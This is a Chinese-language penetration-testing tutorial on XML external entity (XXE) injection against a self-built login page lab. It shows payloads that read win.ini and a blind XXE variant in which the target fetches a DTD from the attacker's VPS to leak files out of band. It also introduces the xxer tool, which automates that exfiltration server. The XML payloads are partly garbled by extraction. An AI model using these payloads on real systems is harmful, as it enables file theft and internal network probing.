一款轻巧工具使XXE攻击更自动化更简单

漏洞概述

XXE全称XML External Entity,即XML外部实体,所以通常XXE攻击指的就是XML外部实体注入。产生的原因是应用程序在解析输入的XML数据时,解析了攻击者伪造的外部实体而产生的注入漏洞。

而XML名称为可扩展标记语言,是一种用于标记电子文件使其具有结构性的标记语言,XML可以在不兼容的系统之间交换数据,还可以使这些数据能被不同的程序读取。因其良好的特点,在日常应用中是应用广泛,所以在使用XML传递数据的场景下,我们都应该多留意下是否存在XXE漏洞。

XXE漏洞可以带来的危害有:

<code>

1

、任意文件读取

2

、进行内网探测,攻击内网

3

、在某些环境下甚至可以命令执行

/<code>

实例测试

1、这里还是先搭建一个网页登录入口

一款轻巧工具使XXE攻击更自动化更简单

2、抓取登录数据包,可以看到数据传输方式是XML格式,同时登录用户名回显在返回页面

一款轻巧工具使XXE攻击更自动化更简单

3、因为有用户名回显字段,直接测试poc,读取系统文件

<code> 
 [
	  

SYSTEM

"file:///c:/Windows/win.ini"

> ]>

<

user

>

<

username

>

&aaa;

username

>

<

password

>

bbbb

password

>

user

>

/<code>

可成功读取系统win.ini文件

一款轻巧工具使XXE攻击更自动化更简单

Blind XXE

上述案比较直接,有回显字段,可以直接回显执行结果,但更多的时候,XXE执行后在页面没有回显,也叫Blind XXE,即盲XXE,又该如何测试。

还是上述案例,我们不利用用户名字段做回显,那么就需要搭建一台web服务器,可以借助VPS开web服务,然后在服务器上创建一个文件xxx.dtd(任意用户名),内容为:

<code>  

SYSTEM

"file:///windows/win.ini"

>

""

>/<code>

构造POC:其中IP端口是自己的vps服务器

<code> 
  [
	  

SYSTEM

"http://192.168.10.104:8080/xxx.dtd"

> %aaa;%ent; ]>/<code>

再提交,这时不利用用户名字段,发现仍然可以攻击成功,这就是Blind XXE的利用方法。

一款轻巧工具使XXE攻击更自动化更简单

自动化工具XXER

可以看到上述利用需要自己搭建web服务构造EXP,还是比较麻烦,这里提供一款工具(xxer)一键自动化部署并生成攻击EXP。

1、下载xxer(地址:
https://github.com/TheTwitchy/xxer),然后在VPS上利用python执行,-H参数后面跟的是vps地址

<code>

python

xxer

.py

-d

ftp

.client_file

.dtd

.template

-H

192

.168

.10

.104

/<code>

运行成功会自动在本地开启http和ftp服务,并生成ext.dtd文件,同时显示利用poc代码(图中标记)

一款轻巧工具使XXE攻击更自动化更简单

2、只需要将上述代码复制到burp中,指定file后面具体读取的文件路劲,发送请求即可攻击成功

一款轻巧工具使XXE攻击更自动化更简单


简单随笔分享,希望对大家有所帮助,将持续分享实战有效的渗透测试、攻防测试经验技巧。


分享到:


相關文章: